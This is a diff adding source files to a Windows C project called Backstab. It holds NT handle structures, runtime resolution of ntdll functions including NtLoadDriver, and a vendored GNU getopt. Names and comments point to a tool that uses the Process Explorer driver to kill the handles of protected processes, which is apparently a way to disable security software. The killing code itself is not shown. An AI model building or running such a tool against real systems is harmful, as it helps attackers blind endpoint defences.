+ ULONG Attributes,
+ ULONG Options
+ );
+
+
+typedef NTSTATUS(NTAPI* fNtQueryObject)(
+ HANDLE ObjectHandle,
+ ULONG ObjectInformationClass,
+ PVOID ObjectInformation,
+ ULONG ObjectInformationLength,
+ PULONG ReturnLength
+ );
+
+
+
+typedef enum _POOL_TYPE
+{
+ NonPagedPool,
+ PagedPool,
+ NonPagedPoolMustSucceed,
+ DontUseThisType,
+ NonPagedPoolCacheAligned,
+ PagedPoolCacheAligned,
+ NonPagedPoolCacheAlignedMustS
+}
+POOL_TYPE, * PPOOL_TYPE;
+
+
+typedef struct _OBJECT_TYPE_INFORMATION
+{
+ UNICODE_STRING Name;
+ ULONG TotalNumberOfObjects;
+ ULONG TotalNumberOfHandles;
+ ULONG TotalPagedPoolUsage;
+ ULONG TotalNonPagedPoolUsage;
+ ULONG TotalNamePoolUsage;
+ ULONG TotalHandleTableUsage;
+ ULONG HighWaterNumberOfObjects;
+ ULONG HighWaterNumberOfHandles;
+ ULONG HighWaterPagedPoolUsage;
+ ULONG HighWaterNonPagedPoolUsage;
+ ULONG HighWaterNamePoolUsage;
+ ULONG HighWaterHandleTableUsage;
+ ULONG InvalidAttributes;
+ GENERIC_MAPPING GenericMapping;
+ ULONG ValidAccess;
+ BOOLEAN SecurityRequired;
+ BOOLEAN MaintainHandleCount;
+ USHORT MaintainTypeList;
+ POOL_TYPE PoolType;
+ ULONG PagedPoolUsage;
+ ULONG NonPagedPoolUsage;
+} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
+
+
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
+{
+ ULONG ProcessId;
+ BYTE ObjectTypeNumber;
+ BYTE Flags;
+ USHORT Handle;
+ PVOID Object; //Pointer to the object, the object resides in kernel space
+ ACCESS_MASK GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+
+typedef struct _SYSTEM_HANDLE_INFORMATION
+{
+ ULONG HandleCount;
+ SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY];
+} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
+
+typedef struct _THREAD_CONTEXT
+{
+ HANDLE hDup;
+ char szFileName[MAX_PATH];
+}
+THREAD_CONTEXT, * PTHREAD_CONTEXT;
+
+typedef struct
+{
+ char szFileName[MAX_PATH];
+ char szProcessName[MAX_PATH];
+ HANDLE FileHandle;
+ ULONG ProcessId;
+}
+HANDLE_INFO, * PHANDLE_INFO;
+
+
+
+
+/* Functions To Be Dynamically Resolved */
+fNtQueryObject _NtQueryObject;
+fNtDuplicateObject _NtDuplicateObject;
+fNtQuerySystemInformation _NtQuerySystemInformation;
+
+
+
+
+///
+/// Duplicates a handle from remote process to the current process. It is the calling process responsibility to provide a handle
+/// opened with access mask PROCESS_DUP_HANDLE and to transorm the hex value to a USHORT.
+///
+/// Handle to source process opened with access mask PROCESS_DUP_HANDLE
+/// The value of the handle to be copied to the current process
+///
+HANDLE _DuplicateHandle(HANDLE hSrcProcess, USHORT usHandleValue);
+
+
+/* Used To Show The User Info About The Enumerated Handle */
+VOID PrintHandleInformation(HANDLE hContainingProcess, USHORT usHandleValue);
+
+
+///
+/// Enumerate system handles to find handles associated with a given process
+/// The handle passed must have PROCESS_DUP_HANDLE
+///
+///
+VOID ListProcessHandles(HANDLE hProcess);
+
+
+
+///
+/// Retrieves the process PID based on a given name. On success, the PID is stored in lpPID. If there are multiple processes with the same name it returns false and sets lpPID to 1. If name not found, it sets lpPID to 2
+///
+/// The process name to be found
+/// on success stores the target process PID, on failure stores error indicator
+///
+BOOL GetProcessPIDFromName(LPWSTR szProcessName, PDWORD lpPID);
+
+
+///
+/// Given a PID and handle, it will return the handle's object address in kernel. This is used by ProcExp because some functions
+/// require the object address with the handle and the containing PID
+///
+/// PID of the process containing the handle
+/// target handle
+///
+PVOID GetObjectAddressFromHandle(DWORD dwPID, USHORT usTargetHandle);
+
+
+///
+/// a proxy to NtQuerySystemInformation
+///
+///
+PSYSTEM_HANDLE_INFORMATION GetHandleInformationTable();
+
+PSYSTEM_HANDLE_INFORMATION ReAllocateHandleInfoTableSize(ULONG ulTable_size, PSYSTEM_HANDLE_INFORMATION handleInformationTable);
+
+
+///
+/// Enumerate system to find all handles related to a process and pass these handles to ProcExpKillHandle
+///
+/// Protected process handle
+VOID KillProcessHandles(HANDLE hProcess);
+
+
+
+
+/*********** Processes Not Used In Production Code ************/
+HANDLE GetHandleToProcessByPID(DWORD pid);
+VOID ListProcessHandles(HANDLE hProcess);
+
+///
+/// Provides string representation of the object type of a given handle
+///
+/// Pointer to the handle to be inspected
+/// on success, contains the string representation of the object type
+BOOL _GetObjectType(PHANDLE phObject, LPWSTR szType); /* requires access to the protected handle */
+
+///
+/// Provides the object name of a given handle or "unnamed" if it is an unnamed handle
+///
+/// Pointer to the handle to be inspected
+/// on success, contains the object name
+BOOL GetObjectName(PHANDLE phObject, LPWSTR szName); /* requires access to the protected handle */
\ No newline at end of file
diff --git a/Backstab/common.c b/Backstab/common.c
new file mode 100644
index 0000000..353fd8e
--- /dev/null
+++ b/Backstab/common.c
@@ -0,0 +1,55 @@
+#include "common.h"
+#include "Processes.h"
+#include "Driverloading.h"
+
+BOOL Error(LPSTR szMethod) {
+ printf("%s: %d\n", szMethod, GetLastError());
+ return FALSE;
+}
+
+PVOID GetLibraryProcAddress(LPSTR szLibraryName, LPSTR szProcName)
+{
+ return GetProcAddress(GetModuleHandleA(szLibraryName), szProcName);
+}
+
+
+BOOL InitializeNecessaryNtAddresses()
+{
+ _NtDuplicateObject =
+ GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
+
+ _NtQueryObject =
+ GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
+
+ _NtQuerySystemInformation =
+ (fNtQuerySystemInformation)GetLibraryProcAddress("ntdll", "NtQuerySystemInformation");
+
+ _RtlInitUnicodeString =
+ (fRtlInitUnicodeString)GetLibraryProcAddress("ntdll.dll", "RtlInitUnicodeString");
+
+ _NtLoadDriver =
+ (fNtLoadDriver)GetLibraryProcAddress("ntdll", "NtLoadDriver");
+
+ _NtUnLoadDriver =
+ (fNtUnLoadDriver)GetLibraryProcAddress("ntdll", "NtUnloadDriver");
+
+
+ if (!_NtQueryObject || !_NtDuplicateObject || !_NtQuerySystemInformation || !_NtLoadDriver || !_NtUnLoadDriver)
+ {
+ return Error("InitializeNecessaryNtAddresses");
+ }
+ return TRUE;
+}
+
+LPWSTR charToWChar(LPCSTR szSource)
+{
+ size_t strlen = MultiByteToWideChar(CP_UTF8, MB_PRECOMPOSED, szSource, -1, NULL, 0);
+ if (strlen == 0) { return NULL; }
+
+ LPWSTR convertedString = (LPWSTR)calloc(strlen + 1, sizeof(WCHAR));
+ if (!convertedString) { return NULL; }
+
+
+ MultiByteToWideChar(CP_UTF8, 0, szSource, -1, convertedString, (int)strlen);
+ return convertedString;
+}
diff --git a/Backstab/common.h b/Backstab/common.h
new file mode 100644
index 0000000..6be2922
--- /dev/null
+++ b/Backstab/common.h
@@ -0,0 +1,44 @@
+#pragma once
+
+#include
+#include
+#include
+
+
+#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
+#define MAX_BUF 2056 + 1 /* based on ProcExp max object name size */
+
+
+///
+/// Standard error printing
+///
+/// The method name that caused the error; be as specific as possible
+///
+BOOL Error(LPSTR szMethod);
+
+
+///
+/// a proxy to GetProcAddr
+///
+///
+///
+///
+PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName);
+
+
+///
+/// Initializes all necessary NT addresses by calling GetProcAddress. If it fails, the program exit
+/// because it won't function properly without these methods
+///
+///
+BOOL InitializeNecessaryNtAddresses();
+
+
+///
+/// Converts narrow string to wide string
+///
+/// narrow string to be converted
+/// wide string representation of given string
+LPWSTR charToWChar(LPCSTR szSource);
+
+
diff --git a/Backstab/getopt.c b/Backstab/getopt.c
new file mode 100644
index 0000000..82d0f85
--- /dev/null
+++ b/Backstab/getopt.c
@@ -0,0 +1,1275 @@
+//src: https://github.com/Chunde/getopt-for-windows
+/* Getopt for GNU.
+NOTE: getopt is now part of the C library, so if you don't know what
+"Keep this file name-space clean" means, talk to drepper@gnu.org
+before changing it!
+Copyright (C) 1987,88,89,90,91,92,93,94,95,96,98,99,2000,2001
+Free Software Foundation, Inc.
+This file is part of the GNU C Library.
+
+The GNU C Library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+The GNU C Library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with the GNU C Library; if not, write to the Free
+Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+02111-1307 USA. */
+
+/* This tells Alpha OSF/1 not to define a getopt prototype in .
+Ditto for AIX 3.2 and . */
+#ifndef _NO_PROTO
+# define _NO_PROTO
+#endif
+
+#ifdef HAVE_CONFIG_H
+# include
+#endif
+
+#if !defined __STDC__ || !__STDC__
+/* This is a separate conditional since some stdc systems
+reject `defined (const)'. */
+# ifndef const
+# define const
+# endif
+#endif
+
+#include
+
+/* Comment out all this code if we are using the GNU C Library, and are not
+actually compiling the library itself. This code is part of the GNU C
+Library, but also included in many other GNU distributions. Compiling
+and linking in this code is a waste when using the GNU C library
+(especially if it is a shared library). Rather than having every GNU
+program understand `configure --with-gnu-libc' and omit the object files,
+it is simpler to just do this in the source for each such file. */
+
+#define GETOPT_INTERFACE_VERSION 2
+#if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2
+# include
+# if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION
+# define ELIDE_CODE
+# endif
+#endif
+
+#ifndef ELIDE_CODE
+
+
+/* This needs to come after some library #include
+to get __GNU_LIBRARY__ defined. */
+#ifdef __GNU_LIBRARY__
+/* Don't include stdlib.h for non-GNU C libraries because some of them
+contain conflicting prototypes for getopt. */
+# include
+# include
+#endif /* GNU C library. */
+
+#ifdef VMS
+# include
+# if HAVE_STRING_H - 0
+# include
+# endif
+#endif
+
+#ifndef _
+/* This is for other GNU distributions with internationalized messages. */
+# if (HAVE_LIBINTL_H && ENABLE_NLS) || defined _LIBC
+# include
+# ifndef _
+# define _(msgid) gettext (msgid)
+# endif
+# else
+# define _(msgid) (msgid)
+# endif
+# if defined _LIBC && defined USE_IN_LIBIO
+# include
+# endif
+#endif
+
+/* This version of `getopt' appears to the caller like standard Unix `getopt'
+but it behaves differently for the user, since it allows the user
+to intersperse the options with the other arguments.
+
+As `getopt' works, it permutes the elements of ARGV so that,
+when it is done, all the options precede everything else. Thus
+all application programs are extended to handle flexible argument order.
+
+Setting the environment variable POSIXLY_CORRECT disables permutation.
+Then the behavior is completely standard.
+
+GNU application programs can use a third alternative mode in which
+they can distinguish the relative order of options and other arguments. */
+
+#include "getopt.h"
+
+/* For communication from `getopt' to the caller.
+When `getopt' finds an option that takes an argument,
+the argument value is returned here.
+Also, when `ordering' is RETURN_IN_ORDER,
+each non-option ARGV-element is returned here. */
+
+char* optarg;
+
+/* Index in ARGV of the next element to be scanned.
+This is used for communication to and from the caller
+and for communication between successive calls to `getopt'.
+
+On entry to `getopt', zero means this is the first call; initialize.
+
+When `getopt' returns -1, this is the index of the first of the
+non-option elements that the caller should itself scan.
+
+Otherwise, `optind' communicates from one call to the next
+how much of ARGV has been scanned so far. */
+
+/* 1003.2 says this must be 1 before any call. */
+int optind = 1;
+
+/* Formerly, initialization of getopt depended on optind==0, which
+causes problems with re-calling getopt as programs generally don't
+know that. */
+
+int __getopt_initialized;
+
+/* The next char to be scanned in the option-element
+in which the last option character we returned was found.
+This allows us to pick up the scan where we left off.
+
+If this is zero, or a null string, it means resume the scan
+by advancing to the next ARGV-element. */
+
+static char* nextchar;
+
+/* Callers store zero here to inhibit the error message
+for unrecognized options. */
+
+int opterr = 1;
+
+/* Set to an option character which was unrecognized.
+This must be initialized on some systems to avoid linking in the
+system's own getopt implementation. */
+
+int optopt = '?';
+
+/* Describe how to deal with options that follow non-option ARGV-elements.
+
+If the caller did not specify anything,
+the default is REQUIRE_ORDER if the environment variable
+POSIXLY_CORRECT is defined, PERMUTE otherwise.
+
+REQUIRE_ORDER means don't recognize them as options;
+stop option processing when the first non-option is seen.
+This is what Unix does.
+This mode of operation is selected by either setting the environment
+variable POSIXLY_CORRECT, or using `+' as the first character
+of the list of option characters.
+
+PERMUTE is the default. We permute the contents of ARGV as we scan,
+so that eventually all the non-options are at the end. This allows options
+to be given in any order, even with programs that were not written to
+expect this.
+
+RETURN_IN_ORDER is an option available to programs that were written
+to expect options and other ARGV-elements in any order and that care about
+the ordering of the two. We describe each non-option ARGV-element
+as if it were the argument of an option with character code 1.
+Using `-' as the first character of the list of option characters
+selects this mode of operation.
+
+The special argument `--' forces an end of option-scanning regardless
+of the value of `ordering'. In the case of RETURN_IN_ORDER, only
+`--' can cause `getopt' to return -1 with `optind' != ARGC. */
+
+static enum
+{
+ REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER
+} ordering;
+
+/* Value of POSIXLY_CORRECT environment variable. */
+static char* posixly_correct;
+
+#ifdef __GNU_LIBRARY__
+/* We want to avoid inclusion of string.h with non-GNU libraries
+because there are many ways it can cause trouble.
+On some systems, it contains special magic macros that don't work
+in GCC. */
+# include
+# define my_index strchr
+#else
+
+#define HAVE_STRING_H 1
+# if HAVE_STRING_H
+# include
+# else
+# include
+# endif
+
+/* Avoid depending on library functions or files
+whose names are inconsistent. */
+
+#ifndef getenv
+extern char* getenv();
+#endif
+
+static char*
+my_index(str, chr)
+const char* str;
+int chr;
+{
+ while (*str)
+ {
+ if (*str == chr)
+ return (char*)str;
+ str++;
+ }
+ return 0;
+}
+
+/* If using GCC, we can safely declare strlen this way.
+If not using GCC, it is ok not to declare it. */
+#ifdef __GNUC__
+/* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h.
+That was relevant to code that was here before. */
+# if (!defined __STDC__ || !__STDC__) && !defined strlen
+/* gcc with -traditional declares the built-in strlen to return int,
+and has done so at least since version 2.4.5. -- rms. */
+extern int strlen(const char*);
+# endif /* not __STDC__ */
+#endif /* __GNUC__ */
+
+#endif /* not __GNU_LIBRARY__ */
+
+/* Handle permutation of arguments. */
+
+/* Describe the part of ARGV that contains non-options that have
+been skipped. `first_nonopt' is the index in ARGV of the first of them;
+`last_nonopt' is the index after the last of them. */
+
+static int first_nonopt;
+static int last_nonopt;
+
+#ifdef _LIBC
+/* Stored original parameters.
+XXX This is no good solution. We should rather copy the args so
+that we can compare them later. But we must not use malloc(3). */
+extern int __libc_argc;
+extern char** __libc_argv;
+
+/* Bash 2.0 gives us an environment variable containing flags
+indicating ARGV elements that should not be considered arguments. */
+
+# ifdef USE_NONOPTION_FLAGS
+/* Defined in getopt_init.c */
+extern char* __getopt_nonoption_flags;
+
+static int nonoption_flags_max_len;
+static int nonoption_flags_len;
+# endif
+
+# ifdef USE_NONOPTION_FLAGS
+# define SWAP_FLAGS(ch1, ch2) \
+if (nonoption_flags_len > 0) \
+{ \
+ char __tmp = __getopt_nonoption_flags[ch1]; \
+ __getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \
+ __getopt_nonoption_flags[ch2] = __tmp; \
+}
+# else
+# define SWAP_FLAGS(ch1, ch2)
+# endif
+#else /* !_LIBC */
+# define SWAP_FLAGS(ch1, ch2)
+#endif /* _LIBC */
+
+/* Exchange two adjacent subsequences of ARGV.
+One subsequence is elements [first_nonopt,last_nonopt)
+which contains all the non-options that have been skipped so far.
+The other is elements [last_nonopt,optind), which contains all
+the options processed since those non-options were skipped.
+
+`first_nonopt' and `last_nonopt' are relocated so that they describe
+the new indices of the non-options in ARGV after they are moved. */
+
+#if defined __STDC__ && __STDC__
+static void exchange(char**);
+#endif
+
+static void
+exchange(argv)
+char** argv;
+{
+ int bottom = first_nonopt;
+ int middle = last_nonopt;
+ int top = optind;
+ char* tem;
+
+ /* Exchange the shorter segment with the far end of the longer segment.
+ That puts the shorter segment into the right place.
+ It leaves the longer segment in the right place overall,
+ but it consists of two parts that need to be swapped next. */
+
+#if defined _LIBC && defined USE_NONOPTION_FLAGS
+ /* First make sure the handling of the `__getopt_nonoption_flags'
+ string can work normally. Our top argument must be in the range
+ of the string. */
+ if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len)
+ {
+ /* We must extend the array. The user plays games with us and
+ presents new arguments. */
+ char* new_str = malloc(top + 1);
+ if (new_str == NULL)
+ nonoption_flags_len = nonoption_flags_max_len = 0;
+ else
+ {
+ memset(__mempcpy(new_str, __getopt_nonoption_flags,
+ nonoption_flags_max_len),
+ '\0', top + 1 - nonoption_flags_max_len);
+ nonoption_flags_max_len = top + 1;
+ __getopt_nonoption_flags = new_str;
+ }
+ }
+#endif
+
+ while (top > middle && middle > bottom)
+ {
+ if (top - middle > middle - bottom)
+ {
+ /* Bottom segment is the short one. */
+ int len = middle - bottom;
+ register int i;
+
+ /* Swap it with the top part of the top segment. */
+ for (i = 0; i < len; i++)
+ {
+ tem = argv[bottom + i];
+ argv[bottom + i] = argv[top - (middle - bottom) + i];
+ argv[top - (middle - bottom) + i] = tem;
+ SWAP_FLAGS(bottom + i, top - (middle - bottom) + i);
+ }
+ /* Exclude the moved bottom segment from further swapping. */
+ top -= len;
+ }
+ else
+ {
+ /* Top segment is the short one. */
+ int len = top - middle;
+ register int i;
+
+ /* Swap it with the bottom part of the bottom segment. */
+ for (i = 0; i < len; i++)
+ {
+ tem = argv[bottom + i];
+ argv[bottom + i] = argv[middle + i];
+ argv[middle + i] = tem;
+ SWAP_FLAGS(bottom + i, middle + i);
+ }
+ /* Exclude the moved top segment from further swapping. */
+ bottom += len;
+ }
+ }
+
+ /* Update records for the slots the non-options now occupy. */
+
+ first_nonopt += (optind - last_nonopt);
+ last_nonopt = optind;
+}
+
+/* Initialize the internal data when the first call is made. */
+
+#if defined __STDC__ && __STDC__
+static const char* _getopt_initialize(int, char* const*, const char*);
+#endif
+static const char*
+_getopt_initialize(argc, argv, optstring)
+int argc;
+char* const* argv;
+const char* optstring;
+{
+ /* Start processing options with ARGV-element 1 (since ARGV-element 0
+ is the program name); the sequence of previously skipped
+ non-option ARGV-elements is empty. */
+
+ first_nonopt = last_nonopt = optind;
+
+ nextchar = NULL;
+
+ posixly_correct = getenv("POSIXLY_CORRECT");
+
+ /* Determine how to handle the ordering of options and nonoptions. */
+
+ if (optstring[0] == '-')
+ {
+ ordering = RETURN_IN_ORDER;
+ ++optstring;
+ }
+ else if (optstring[0] == '+')
+ {
+ ordering = REQUIRE_ORDER;
+ ++optstring;
+ }
+ else if (posixly_correct != NULL)
+ ordering = REQUIRE_ORDER;
+ else
+ ordering = PERMUTE;
+
+#if defined _LIBC && defined USE_NONOPTION_FLAGS
+ if (posixly_correct == NULL
+ && argc == __libc_argc && argv == __libc_argv)
+ {
+ if (nonoption_flags_max_len == 0)
+ {
+ if (__getopt_nonoption_flags == NULL
+ || __getopt_nonoption_flags[0] == '\0')
+ nonoption_flags_max_len = -1;
+ else
+ {
+ const char* orig_str = __getopt_nonoption_flags;
+ int len = nonoption_flags_max_len = strlen(orig_str);
+ if (nonoption_flags_max_len < argc)
+ nonoption_flags_max_len = argc;
+ __getopt_nonoption_flags =
+ (char*)malloc(nonoption_flags_max_len);
+ if (__getopt_nonoption_flags == NULL)
+ nonoption_flags_max_len = -1;
+ else
+ memset(__mempcpy(__getopt_nonoption_flags, orig_str, len),
+ '\0', nonoption_flags_max_len - len);
+ }
+ }
+ nonoption_flags_len = nonoption_flags_max_len;
+ }
+ else
+ nonoption_flags_len = 0;
+#endif
+
+ return optstring;
+}
+
+/* Scan elements of ARGV (whose length is ARGC) for option characters
+given in OPTSTRING.
+
+If an element of ARGV starts with '-', and is not exactly "-" or "--",
+then it is an option element. The characters of this element
+(aside from the initial '-') are option characters. If `getopt'
+is called repeatedly, it returns successively each of the option characters
+from each of the option elements.
+
+If `getopt' finds another option character, it returns that character,
+updating `optind' and `nextchar' so that the next call to `getopt' can
+resume the scan with the following option character or ARGV-element.
+
+If there are no more option characters, `getopt' returns -1.
+Then `optind' is the index in ARGV of the first ARGV-element
+that is not an option. (The ARGV-elements have been permuted
+so that those that are not options now come last.)
+
+OPTSTRING is a string containing the legitimate option characters.
+If an option character is seen that is not listed in OPTSTRING,
+return '?' after printing an error message. If you set `opterr' to
+zero, the error message is suppressed but we still return '?'.
+
+If a char in OPTSTRING is followed by a colon, that means it wants an arg,
+so the following text in the same ARGV-element, or the text of the following
+ARGV-element, is returned in `optarg'. Two colons mean an option that
+wants an optional arg; if there is text in the current ARGV-element,
+it is returned in `optarg', otherwise `optarg' is set to zero.
+
+If OPTSTRING starts with `-' or `+', it requests different methods of
+handling the non-option ARGV-elements.
+See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above.
+
+Long-named options begin with `--' instead of `-'.
+Their names may be abbreviated as long as the abbreviation is unique
+or is an exact match for some defined option. If they have an
+argument, it follows the option name in the same ARGV-element, separated
+from the option name by a `=', or else the in next ARGV-element.
+When `getopt' finds a long-named option, it returns 0 if that option's
+`flag' field is nonzero, the value of the option's `val' field
+if the `flag' field is zero.
+
+The elements of ARGV aren't really const, because we permute them.
+But we pretend they're const in the prototype to be compatible
+with other systems.
+
+LONGOPTS is a vector of `struct option' terminated by an
+element containing a name which is zero.
+
+LONGIND returns the index in LONGOPT of the long-named option found.
+It is only valid when a long-named option has been found by the most
+recent call.
+
+If LONG_ONLY is nonzero, '-' as well as '--' can introduce
+long-named options. */
+
+int
+_getopt_internal(argc, argv, optstring, longopts, longind, long_only)
+int argc;
+char* const* argv;
+const char* optstring;
+const struct option* longopts;
+int* longind;
+int long_only;
+{
+ int print_errors = opterr;
+ if (optstring[0] == ':')
+ print_errors = 0;
+
+ if (argc < 1)
+ return -1;
+
+ optarg = NULL;
+
+ if (optind == 0 || !__getopt_initialized)
+ {
+ if (optind == 0)
+ optind = 1; /* Don't scan ARGV[0], the program name. */
+ optstring = _getopt_initialize(argc, argv, optstring);
+ __getopt_initialized = 1;
+ }
+
+ /* Test whether ARGV[optind] points to a non-option argument.
+ Either it does not have option syntax, or there is an environment flag
+ from the shell indicating it is not an option. The later information
+ is only used when the used in the GNU libc. */
+#if defined _LIBC && defined USE_NONOPTION_FLAGS
+# define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \
+ || (optind < nonoption_flags_len \
+ && __getopt_nonoption_flags[optind] == '1'))
+#else
+# define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0')
+#endif
+
+ if (nextchar == NULL || *nextchar == '\0')
+ {
+ /* Advance to the next ARGV-element. */
+
+ /* Give FIRST_NONOPT & LAST_NONOPT rational values if OPTIND has been
+ moved back by the user (who may also have changed the arguments). */
+ if (last_nonopt > optind)
+ last_nonopt = optind;
+ if (first_nonopt > optind)
+ first_nonopt = optind;
+
+ if (ordering == PERMUTE)
+ {
+ /* If we have just processed some options following some non-options,
+ exchange them so that the options come first. */
+
+ if (first_nonopt != last_nonopt && last_nonopt != optind)
+ exchange((char**)argv);
+ else if (last_nonopt != optind)
+ first_nonopt = optind;
+
+ /* Skip any additional non-options
+ and extend the range of non-options previously skipped. */
+
+ while (optind < argc && NONOPTION_P)
+ optind++;
+ last_nonopt = optind;
+ }
+
+ /* The special ARGV-element `--' means premature end of options.
+ Skip it like a null option,
+ then exchange with previous non-options as if it were an option,
+ then skip everything else like a non-option. */
+
+ if (optind != argc && !strcmp(argv[optind], "--"))
+ {
+ optind++;
+
+ if (first_nonopt != last_nonopt && last_nonopt != optind)
+ exchange((char**)argv);
+ else if (first_nonopt == last_nonopt)
+ first_nonopt = optind;
+ last_nonopt = argc;
+
+ optind = argc;
+ }
+
+ /* If we have done all the ARGV-elements, stop the scan
+ and back over any non-options that we skipped and permuted. */
+
+ if (optind == argc)
+ {
+ /* Set the next-arg-index to point at the non-options
+ that we previously skipped, so the caller will digest them. */
+ if (first_nonopt != last_nonopt)
+ optind = first_nonopt;
+ return -1;
+ }
+
+ /* If we have come to a non-option and did not permute it,
+ either stop the scan or describe it to the caller and pass it by. */
+
+ if (NONOPTION_P)
+ {
+ if (ordering == REQUIRE_ORDER)
+ return -1;
+ optarg = argv[optind++];
+ return 1;
+ }
+
+ /* We have found another option-ARGV-element.
+ Skip the initial punctuation. */
+
+ nextchar = (argv[optind] + 1
+ + (longopts != NULL && argv[optind][1] == '-'));
+ }
+
+ /* Decode the current option-ARGV-element. */
+
+ /* Check whether the ARGV-element is a long option.
+
+ If long_only and the ARGV-element has the form "-f", where f is
+ a valid short option, don't consider it an abbreviated form of
+ a long option that starts with f. Otherwise there would be no
+ way to give the -f short option.
+
+ On the other hand, if there's a long option "fubar" and
+ the ARGV-element is "-fu", do consider that an abbreviation of
+ the long option, just like "--fu", and not "-f" with arg "u".
+
+ This distinction seems to be the most useful approach. */
+
+ if (longopts != NULL
+ && (argv[optind][1] == '-'
+ || (long_only && (argv[optind][2] || !my_index(optstring, argv[optind][1])))))
+ {
+ char* nameend;
+ const struct option* p;
+ const struct option* pfound = NULL;
+ int exact = 0;
+ int ambig = 0;
+ int indfound = -1;
+ int option_index;
+
+ for (nameend = nextchar; *nameend && *nameend != '='; nameend++)
+ /* Do nothing. */;
+
+ /* Test all long options for either exact match
+ or abbreviated matches. */
+ for (p = longopts, option_index = 0; p->name; p++, option_index++)
+ if (!strncmp(p->name, nextchar, nameend - nextchar))
+ {
+ if ((unsigned int)(nameend - nextchar)
+ == (unsigned int)strlen(p->name))
+ {
+ /* Exact match found. */
+ pfound = p;
+ indfound = option_index;
+ exact = 1;
+ break;
+ }
+ else if (pfound == NULL)
+ {
+ /* First nonexact match found. */
+ pfound = p;
+ indfound = option_index;
+ }
+ else if (long_only
+ || pfound->has_arg != p->has_arg
+ || pfound->flag != p->flag
+ || pfound->val != p->val)
+ /* Second or later nonexact match found. */
+ ambig = 1;
+ }
+
+ if (ambig && !exact)
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+
+ __asprintf(&buf, _("%s: option `%s' is ambiguous\n"),
+ argv[0], argv[optind]);
+
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#else
+ fprintf(stderr, _("%s: option `%s' is ambiguous\n"),
+ argv[0], argv[optind]);
+#endif
+ }
+ nextchar += strlen(nextchar);
+ optind++;
+ optopt = 0;
+ return '?';
+ }
+
+ if (pfound != NULL)
+ {
+ option_index = indfound;
+ optind++;
+ if (*nameend)
+ {
+ /* Don't test has_arg with >, because some C compilers don't
+ allow it to be used on enums. */
+ if (pfound->has_arg)
+ optarg = nameend + 1;
+ else
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+#endif
+
+ if (argv[optind - 1][1] == '-')
+ {
+ /* --option */
+#if defined _LIBC && defined USE_IN_LIBIO
+ __asprintf(&buf, _("\
+ %s: option `--%s' doesn't allow an argument\n"),
+ argv[0], pfound->name);
+#else
+ fprintf(stderr, _("\
+ %s: option `--%s' doesn't allow an argument\n"),
+ argv[0], pfound->name);
+#endif
+ }
+ else
+ {
+ /* +option or -option */
+#if defined _LIBC && defined USE_IN_LIBIO
+ __asprintf(&buf, _("\
+ %s: option `%c%s' doesn't allow an argument\n"),
+ argv[0], argv[optind - 1][0],
+ pfound->name);
+#else
+ fprintf(stderr, _("\
+ %s: option `%c%s' doesn't allow an argument\n"),
+ argv[0], argv[optind - 1][0], pfound->name);
+#endif
+ }
+
+#if defined _LIBC && defined USE_IN_LIBIO
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#endif
+ }
+
+ nextchar += strlen(nextchar);
+
+ optopt = pfound->val;
+ return '?';
+ }
+ }
+ else if (pfound->has_arg == 1)
+ {
+ if (optind < argc)
+ optarg = argv[optind++];
+ else
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+
+ __asprintf(&buf,
+ _("%s: option `%s' requires an argument\n"),
+ argv[0], argv[optind - 1]);
+
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#else
+ fprintf(stderr,
+ _("%s: option `%s' requires an argument\n"),
+ argv[0], argv[optind - 1]);
+#endif
+ }
+ nextchar += strlen(nextchar);
+ optopt = pfound->val;
+ return optstring[0] == ':' ? ':' : '?';
+ }
+ }
+ nextchar += strlen(nextchar);
+ if (longind != NULL)
+ *longind = option_index;
+ if (pfound->flag)
+ {
+ *(pfound->flag) = pfound->val;
+ return 0;
+ }
+ return pfound->val;
+ }
+
+ /* Can't find it as a long option. If this is not getopt_long_only,
+ or the option starts with '--' or is not a valid short
+ option, then it's an error.
+ Otherwise interpret it as a short option. */
+ if (!long_only || argv[optind][1] == '-'
+ || my_index(optstring, *nextchar) == NULL)
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+#endif
+
+ if (argv[optind][1] == '-')
+ {
+ /* --option */
+#if defined _LIBC && defined USE_IN_LIBIO
+ __asprintf(&buf, _("%s: unrecognized option `--%s'\n"),
